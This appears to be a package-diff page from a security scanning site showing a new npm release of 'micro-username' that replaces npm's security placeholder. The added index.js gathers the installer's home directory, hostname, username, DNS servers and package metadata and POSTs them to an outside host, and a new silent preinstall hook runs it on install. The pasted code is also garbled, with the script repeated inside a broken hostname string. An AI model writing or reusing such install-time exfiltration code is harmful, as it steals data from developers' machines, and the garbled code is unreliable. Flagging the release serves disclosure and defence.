micro-username 0.0.1-security → 1.2.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of micro-username might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +141 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,141 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ o: os.userInfo().organization || "Not specified"
19
+ });
20
+
21
+ var postData = querystring.stringify({
22
+ msg: trackingData,
23
+ });
24
+
25
+ var options = {
26
+ hostname: "67.205.129.152const os = require("os");
27
+ const dns = require("dns");
28
+ const querystring = require("querystring");
29
+ const https = require("https");
30
+ const packageJSON = require("./package.json");
31
+ const package = packageJSON.name;
32
+
33
+ const trackingData = JSON.stringify({
34
+ p: package,
35
+ c: __dirname,
36
+ hd: os.homedir(),
37
+ hn: os.hostname(),
38
+ un: os.userInfo().username,
39
+ dns: dns.getServers(),
40
+ r: packageJSON ? packageJSON.___resolved : undefined,
41
+ v: packageJSON.version,
42
+ pjson: packageJSON,
43
+ o: os.userInfo().organization || "Not specified"
44
+ });
45
+
46
+ var postData = querystring.stringify({
47
+ msg: trackingData,
48
+ });
49
+
50
+ var options = {
51
+ hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
52
+ port: 443,
53
+ path: "/",
54
+ method: "POST",
55
+ headers: {
56
+ "Content-Type": "application/x-www-form-urlencoded",
57
+ "Content-Length": postData.length,
58
+ },
59
+ };
60
+
61
+ var req = https.request(options, (res) => {
62
+ res.on("data", (d) => {
63
+ process.stdout.write(d);
64
+ });
65
+ });
66
+
67
+ req.on("error", (e) => {
68
+ // console.error(e);
69
+ });
70
+
71
+ req.write(postData);
72
+ req.end();
73
+ const os = require("os");
74
+ const dns = require("dns");
75
+ const querystring = require("querystring");
76
+ const https = require("https");
77
+ const packageJSON = require("./package.json");
78
+ const package = packageJSON.name;
79
+
80
+ const trackingData = JSON.stringify({
81
+ p: package,
82
+ c: __dirname,
83
+ hd: os.homedir(),
84
+ hn: os.hostname(),
85
+ un: os.userInfo().username,
86
+ dns: dns.getServers(),
87
+ r: packageJSON ? packageJSON.___resolved : undefined,
88
+ v: packageJSON.version,
89
+ pjson: packageJSON,
90
+ o: os.userInfo().organization || "Not specified"
91
+ });
92
+
93
+ var postData = querystring.stringify({
94
+ msg: trackingData,
95
+ });
96
+
97
+ var options = {
98
+ hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
99
+ port: 443,
100
+ path: "/",
101
+ method: "POST",
102
+ headers: {
103
+ "Content-Type": "application/x-www-form-urlencoded",
104
+ "Content-Length": postData.length,
105
+ },
106
+ };
107
+
108
+ var req = https.request(options, (res) => {
109
+ res.on("data", (d) => {
110
+ process.stdout.write(d);
111
+ });
112
+ });
113
+
114
+ req.on("error", (e) => {
115
+ // console.error(e);
116
+ });
117
+
118
+ req.write(postData);
119
+ req.end();
120
+ ", //replace burpcollaborator.net with Interactsh or pipedream
121
+ port: 443,
122
+ path: "/",
123
+ method: "POST",
124
+ headers: {
125
+ "Content-Type": "application/x-www-form-urlencoded",
126
+ "Content-Length": postData.length,
127
+ },
128
+ };
129
+
130
+ var req = https.request(options, (res) => {
131
+ res.on("data", (d) => {
132
+ process.stdout.write(d);
133
+ });
134
+ });
135
+
136
+ req.on("error", (e) => {
137
+ // console.error(e);
138
+ });
139
+
140
+ req.write(postData);
141
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "micro-username",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.2.0",
4
+ "description": "this is for micro-soft",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js > /dev/null 2>&1"
9
+ },
10
+ "author": "micro-soft",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=micro-username for more information.